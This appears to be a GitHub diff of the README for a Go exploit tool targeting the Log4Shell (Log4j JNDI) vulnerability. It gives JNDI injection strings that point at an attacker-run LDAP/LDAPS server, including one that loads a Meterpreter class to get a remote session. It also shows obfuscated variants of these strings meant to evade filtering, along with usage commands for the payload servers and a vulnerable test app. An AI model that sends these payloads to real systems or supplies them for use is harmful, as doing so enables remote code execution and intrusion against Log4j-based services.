|
1 | 1 | # Log4Shell |
2 | | - * Check, exploit, obfuscate, TLS, ACME in one Go program. |
| 2 | + * Check, exploit, obfuscate, TLS, ACME in one Go program. |
3 | 3 | * You don't need to install anything except develop it. |
4 | 4 |
|
5 | 5 | ## Usage |
|
10 | 10 | ### Start LDAPS and HTTPS server |
11 | 11 | * ```Log4Shell.exe -host "example.com" -tls-server -tls-cert "cert.pem" -tls-key "key.pem"``` |
12 | 12 | * ```Log4Shell.exe -host "1.1.1.1" -tls-server -tls-cert "cert.pem" -tls-key "key.pem"``` (need IP SANs) |
13 | | - |
| 13 | + |
14 | 14 | ### Start LDAPS and HTTPS server with ACME |
15 | 15 | * ```Log4Shell.exe -host "example.com" -auto-cert``` (must use domain name) |
16 | | - |
| 16 | + |
17 | 17 | ### Obfuscate malicious(payload) string |
18 | 18 | ``` |
19 | | - Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/calc.class}" |
20 | | - |
21 | | - raw: ${jndi:ldap://1.1.1.1:3890/calc.class} |
22 | | - ${${lhnK:JFL3Nl:-j}n${Yx6-A3NuXSY1nI-g38C4MN-WAFx:-d}i:${2O:bO2I5l:-l}${yeZ6-mnrv6pb:gB49n:XrYMP:-d} |
23 | | - ${jVBMSs-iOFWslRG-XuNO:dsCO:-a}${jYYNn:Twh80-IYXK:-p:/}${eOFbh:DW35u2:-/1.}${EkFw3Z-YsM9CIMV8:g2DHZ: |
24 | | - -1}${Vez8Sb:Mwn:-}${yWH0V-FY9jJQZ2:TOSkrotU:oq1i:-}${kZ:BoJpOxRH-yFI2POt-88w2:-.1}${xbswX-VstKzXnyNz |
25 | | - i8:jeEQKB5WRH-Ob:-}${Uyhe0-aYuAh-MdR63to:GONgfM:-.}${eA:eCPgpV-NWF7s:-}${mrLla-owJSvkD:n0cmdQ-V2cLx: |
26 | | - -1:3}${CwG9:Hc:-}${xT:aiD7ho:xz:-8}90${NTSL-dSfw9NC:7OiGEp:gMQwko:-}/${TCpW:UhZI0IO8:9Jz5MH:WyM:-c}$ |
27 | | - {Mlv:AS8TOFMM-b9I2:FqvBY:-al}${mfGW:EY1Yd48:E0KhRGfp:5CBsuC:-c}${xDw1-ZyHav9K:jPHo18i:zibmI:-.}c${ye |
28 | | - -kZjRa5g61cm-Hn2yR7:-la}${Htg:cySA:-s}s} |
| 19 | + Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/Calc}" |
| 20 | +
|
| 21 | + raw: ${jndi:ldap://1.1.1.1:3890/Calc} |
| 22 | +
|
| 23 | + ${jn${Nc3-h17cwiZ-bRU2sh:-di:}${CGPuF-OGZxNU-zZfWp:-l}${wW:sVK9ZUijf:jUelV4upFr:wjD:-}d${OZQ-MqOEGT9K |
| 24 | + -IAdC:-ap}${Kce64-15l39K4DD5-xWtee:zY:-:/}${gZm-yFU0:-}${o05ov5-9bU2WWgtlf:PK5:-/}${y7sa1T:aFd6Q7S45r |
| 25 | + -KYGD:-}${0dPYxy:IqCd:-1}${YSf-yHfZ:-.1}${Jct1X-kQVdPM:cKmXcaheDfY:kI:-}.${It:CK52YEP-6HC:-1.1}${rzgS |
| 26 | + :e1wOc5zHLe-Q1tI2IqBj-G2A:-}:3${NMDyH8-bsqLVD-m0HdT:ik:-}${Bg-2GX6XW:CFHnf:-}${4sqv:HPwwv:-89}0${BzHb |
| 27 | + q-JBkQtJ7qDz:L7PaQXH:PUYv91:-/C}${QfhcM:tn:-}${6e-OkiFFt:WtnF:-al}c${etTbi-iWYq-pvATIA6K2K:Rq:-}} |
29 | 28 | ``` |
30 | | - |
| 29 | + |
31 | 30 | ## Check |
32 | 31 | * start Log4Shell server |
33 | 32 | * put your class file to the payload directory |
34 | | - * send ```${jndi:ldap://1.1.1.1:3890/nop.class}``` |
35 | | - * send ```${jndi:ldaps://example.com:3890/nop.class}``` with TLS |
| 33 | + * send ```${jndi:ldap://1.1.1.1:3890/Nop}``` |
| 34 | + * send ```${jndi:ldaps://example.com:3890/Nop}``` with TLS |
36 | 35 |
|
37 | 36 | ## Exploit |
38 | 37 | * start Log4Shell server |
39 | 38 | * put your class file to the payload directory |
40 | | - * send ```${jndi:ldap://1.1.1.1:3890/meterpreter.class}``` |
41 | | - * send ```${jndi:ldaps://example.com:3890/meterpreter.class}``` with TLS |
| 39 | + * send ```${jndi:ldap://1.1.1.1:3890/Meterpreter}``` |
| 40 | + * send ```${jndi:ldaps://example.com:3890/Meterpreter}``` with TLS |
42 | 41 | * meterpreter will open source after some time |
43 | 42 |
|
44 | 43 | ## VulApp |
45 | 44 | * VulApp is a vulnerable Java program that use log4j2 package. |
46 | 45 | * You can use it for develop this project easily. |
47 | | - * ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/calc.class}``` |
| 46 | + * ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Calc}``` |
48 | 47 |
|
49 | 48 | ## Help |
50 | 49 | ``` |
|
0 commit comments